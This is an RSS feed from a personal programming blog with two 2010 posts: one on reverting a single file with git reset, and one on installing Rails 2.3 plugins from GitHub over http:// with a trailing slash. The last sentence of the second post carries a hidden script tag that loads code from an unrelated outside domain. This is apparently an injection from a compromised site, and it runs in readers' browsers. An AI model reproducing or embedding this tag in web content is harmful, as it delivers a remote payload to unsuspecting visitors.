<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; git</title>
	<atom:link href="http://jboxer.com/tag/git/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How to reset/revert a single file with git</title>
		<link>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/</link>
		<comments>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 17:23:36 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[reset]]></category>
		<category><![CDATA[version control]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=344</guid>
		<description><![CDATA[I&#8217;m making this post more for my own reference than to help anyone else, but feel free to comment if you have questions or anything. If you&#8217;ve made a commit with git (let&#8217;s call it &#8220;commit A&#8221;), and you want to make another commit (let&#8217;s call it &#8220;commit B&#8221;) that, among other things, reverts the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m making this post more for my own reference than to help anyone else, but feel free to comment if you have questions or anything.</p>
<p>If you&#8217;ve made a commit with git (let&#8217;s call it &#8220;commit A&#8221;), and you want to make another commit (let&#8217;s call it &#8220;commit B&#8221;) that, among other things, reverts the changes made to a single file (let&#8217;s call it file1.rb) in commit A, use the following command:</p>
<p><code>git reset commit-a -- path/to/file1.rb</code></p>
<p>That&#8217;ll create two sets of changes: a copy of the changes you made in commit A, and the inverse of the changes you made in commit A. The inverse is staged, while the copy is unstaged. Nine times out of ten, you&#8217;ll want to commit the staged changes (which, as they&#8217;re the inverse of the changes in commit A, will result in a revert of file1) and discard the unstaged ones.</p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing Ruby on Rails 2.3+ plugins from github</title>
		<link>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/</link>
		<comments>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:02:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[carmen]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=298</guid>
		<description><![CDATA[I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people. I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people.</p>
<p>I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to install plugins (specifically, <a href="http://github.com/binarylogic/authlogic">Authlogic</a> and <a href="http://github.com/jim/carmen">Carmen</a>) for a couple days now using the following two commands (as taken from the main github pages):</p>
<pre class="brush: bash;">script/plugin install git://github.com/binarylogic/authlogic.git
script/plugin install git://github.com/jim/carmen.git</pre>
<p>In return, I received the following errors:</p>
<pre class="brush: bash;">Plugin not found: [&quot;git://github.com/binarylogic/authlogic.git&quot;]
Plugin not found: [&quot;git://github.com/jim/carmen.git&quot;]</pre>
<p>After a lot of poking around, it turns out you need to make two changes in order for this to work on Rails 2.3 or higher: change the <code>git://</code> at the beginning of each URL to <code>http://</code>, and add a trailing slash to the end of each URL. So instead, run these:</p>
<pre class="brush: bash;">script/plugin install http://github.com/binarylogic/authlogic.git/
script/plugin install http://github.com/jim/carmen.git/</pre>
<p>They both worked perfectly for me, so hopefully they&#8217;ll work for you. If not, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
